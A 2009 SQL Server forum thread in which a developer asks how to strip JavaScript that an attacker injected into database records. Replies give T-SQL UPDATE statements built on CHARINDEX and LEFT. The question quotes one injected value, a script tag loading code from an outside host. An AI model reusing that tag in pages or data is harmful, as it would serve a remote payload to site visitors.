Site Sponsored By: SQLDSC - SQL Server Desired State Configuration
Please start any new threads on our new
site at https://forums.sqlteam.com. We've got lots of great SQL Server
experts to answer whatever question you can come up with.
Looks like a clint of mine had a hacker and put some javascript in his state table. How do I replate the script from every state record in the tableAK<script src=http://iwdown.com/inc/e.js></script>DaveHelixpoint Web Developmenthttp://www.helixpoint.com
I just noticed something, They are all different. Is there a way to do everything between and including the <.......>DaveHelixpoint Web Developmenthttp://www.helixpoint.com
helixpoint
Constraint Violating Yak Guru
291 Posts
Posted - 2009-01-28 : 14:57:43
quote:Originally posted by helixpoint I just noticed something, They are all different. Is there a way to do everything between and including the <.......>Or remove < and everything after itDaveHelixpoint Web Developmenthttp://www.helixpoint.com
DaveHelixpoint Web Developmenthttp://www.helixpoint.com
tkizer
Almighty SQL Goddess
38200 Posts
Posted - 2009-01-28 : 15:09:09
You can use the CHARINDEX function along with LEFT or SUBSTRING. It'll be similar to this, I say similar as I didn't test it and there might be a syntax issue.UPDATE YourTableSET ColumnC = LEFT(ColumnC, CHARINDEX('<', ColumnC) - 1)Run a SELECT statement first to be sure it is doing it right:SELECT TOP 100 LEFT(ColumnC, CHARINDEX('<', ColumnC) - 1) FROM YourTableTara KizerMicrosoft MVP for Windows Server System - SQL Serverhttp://weblogs.sqlteam.com/tarad/Subscribe to my blog
helixpoint
Constraint Violating Yak Guru
291 Posts
Posted - 2009-01-28 : 17:02:35
It works if the field is not empty in one of the reccords. Any idea what to do?I tried this, but still get an invalid lengthUPDATE dbo.MailingListSET Address = LEFT(Address, CHARINDEX('<', Address) - 1)WHERE (Address <> '')DaveHelixpoint Web Developmenthttp://www.helixpoint.com
tonymorell10
Yak Posting Veteran
90 Posts
Posted - 2009-01-28 : 17:19:04
Try something like this:
update table set column = CASE WHEN CHARINDEX('<', column ) = 1 THEN '' WHEN CHARINDEX('<', column ) > 1 THEN LEFT(column, CHARINDEX('<', column) - 1) ELSE column END